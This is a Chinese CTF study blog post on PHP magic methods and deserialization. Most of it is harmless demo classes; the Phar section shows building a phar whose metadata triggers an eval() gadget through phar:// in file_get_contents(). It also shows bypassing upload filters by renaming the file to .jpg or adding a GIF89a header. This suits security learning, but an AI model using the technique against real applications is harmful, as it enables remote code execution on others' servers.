__destruct()反序列化之后触发

__toString()

表达方式错误导致魔术方法触发

触发时机:把对象当成字符串使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __toString(){
echo "toString魔术方法被触发了";
}
}
$cc = new CC('admin', 'password');
echo $cc;

额外提一下__tostring的具体触发场景:

(1) echo $obj / print $obj 打印时会触发

(2) 对象与字符串连接时 $$b=”str”$$obj;

(3) 对象参与格式化字符串时 printf( " %s and %d ", $cc, 10 );

(4)=对象与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)

(5) 对象参与格式化SQL语句,绑定参数时

(6)对象在经过php字符串函数,如 strlen()、addslashes()、die()时

(7) 在in_array()方法中,第一个参数是对象,第二个参数的数组中有toString返回的字符串的时候toString会被调用

(8) 对象作为 class_exists() 的参数的时候

__invoke()

格式表达错误导致魔术方法触发

是对象被当做函数进行调用时就会触发

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __invoke(){
echo "invoke魔术方法被触发了";
}
}
$cc = new CC('admin', 'password');
$cc();
__call

触发时机:调用一个不存在的方法

这个魔术方法需要两个参数

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __call($name,$args){
echo "call魔术方法被触发了,函数名为".$name.",参数为".$args[0];
}
}
$cc = new CC('admin', 'password');
$cc->abc();
__callStatic()

触发时机:静态调用或调用成员常量时使用的方法不存在

这个魔术方法需要两个参数

$arg1 调用的不存在的方法的名称

$arg2 调用的不存在的方法的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __callstatic($name,$args){
echo "__callstatic魔术方法被触发了,函数名为".$name.",参数为".$args[0];
}
}
$cc = new CC('admin', 'password');
$cc::abc();
?>
__get()

触发时机:调用的成员属性不存在

参数:传参$arg1

返回值:不存在的成员属性的名称

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}
public function __get($args){
echo "__get魔术方法被触发了,不存在".$args."属性";
}
}
$cc = new CC('admin', 'password');
$cc->a;
?>
__set()

触发时机:给不存在的成员属性赋值

参数:2个参数$arg1,$arg2

返回值:不存在的成员属性的名称和赋的值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}

public function __set($arg1,$arg2){
echo "__set魔术方法被触发了,不存在".$arg1."属性";
}
}
$cc = new CC('admin', 'password');
$cc->a=1;
?>
__isset()

触发时机:对不可访问成员属性或者不存在的成员属性 使用函数isset()或者empty()时,__isset()会被调用

这个魔术方法需要一个参数,接受到该属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}

public function __isset($arg){
echo "__isset魔术方法被触发了".$arg;
}
}
$cc = new CC('admin', 'password');
isset($cc->pwd);
?>
__unset()

触发时机:对不可访问成员属性或者不存在的成员属性 使用函数unset()时,__unset()会被调用

这个魔术方法需要一个参数,接受到该属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}

public function __unset($arg){
echo "__unset魔术方法被触发了".$arg;
}
}
$cc = new CC('admin', 'password');
unset($cc->pwd);
?>
__clone

触发时机:当使用clone关键字完成拷贝一个对象后,新对象会自动调用定义的魔术方法__clone()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
class CC {
public $user;
private $pwd;

//这是个魔术方法,在创建实例时会自动调用,从而为属性赋值
public function __construct($user, $pwd)
{
$this->user = $user;
$this->pwd = $pwd;
}

public function __clone(){
echo "__clone魔术方法被触发了";
}
}
$cc = new CC('admin', 'password');
clone($cc);
?>

注意点:

魔术方法触发前提:魔术方法所在类(或者对象)被调用,对某个对象进行反序列化,只会触发该对象里对应的魔术方法,不会触发其它对象里的方法

(2)PHP Phar 反序列化

phar相关基础

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

Phar文件结构
  1. a stub是一个文件标志,格式为 :xxx<?php xxx;__HALT_COMPILER();?>
  2. manifest是被压缩的文件的属性等放在这里,这部分是以序列化存储的,是主要的攻击点。
  3. contents是被压缩的内容。
  4. signature签名,放在文件末尾。

就是这个文件由四部分组成,每种文件都是有它独特的一种文件格式的,有首有尾。而__HALT_COMPILER();就是相当于图片中的文件头的功能,没有它,图片无法解析,同样的,没有文件头,php识别不出来它是phar文件,也就无法起作用。

生成phar文件

这里测试一下~
前提:生成phar文件需要修改php.ini中的配置,将phar.readonly设置为Off

1637308824_61975998719c7c61c06c1

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php 
class test{
public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

生成的phar文件,打开该文件可以看到文件头是<?php __halt_compiler(); ?>以及中间的部分内容是序列化的形式存在于这个文件中。

1637308825_619759992d43a3b586529

该方法在文件系统函数(file_exists()is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。
https://paper.seebug.org/680/得知:有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过`phar://`伪协议解析phar文件时,都会将`meta-data`进行反序列化,测试后受影响的函数如下:(仿照大佬的图)

1637308825_61975999dcd39421b006d

这里使用file_get_contents()函数来进行实验。

1
2
3
4
5
6
7
8
9
10
11
<?php
class test{
public $name='';
public function __destruct()
{
eval($this->name);
}
}

echo file_get_contents('phar://test.phar/flag.txt');
?>

1637308826_6197599ac379f0ca6ed5e

__HALT_COMPILER();必须大写,小写不会被识别出来。导致无法进行反序列化操作。
因为考虑到在上传的时候,可能只会允许上传图片(jpg/png/gif),上传时将test.phar修改文件扩展名为jpg也可以进行反序列化,不会影响解析。
如果对文件头有识别的,也可以使用GIF文件头GIF89a来绕过检测,具体操作与文件上传部分细节类似,不再赘述。

(3)PHP Session 反序列化

我的博客,怪长的,理解起来还有点麻烦

(4)PHP 反序列化漏洞:__PHP_Incomplete_Class 与 serialize(unserialize($x)) !== $x;(不完整类)

挂个大佬博客在这里https://blog.csdn.net/qq_44879989/article/details/133486308,我会写题后总结一个博客

参考博客

CTF中PHP相关题目考点总结(上)

CTF中PHP相关题目考点总结(下)

PHP 原生类的利用小结

PHP 原生类利用

PHP原生类的使用

【文件包含漏洞】——文件包含漏洞进阶_文件包含漏洞绕过


近期关于CTF中PHP的知识总结
http://example.com/2025/11/07/近期关于CTF中PHP的知识总结/
作者
yuhua
发布于
2025年11月7日
许可协议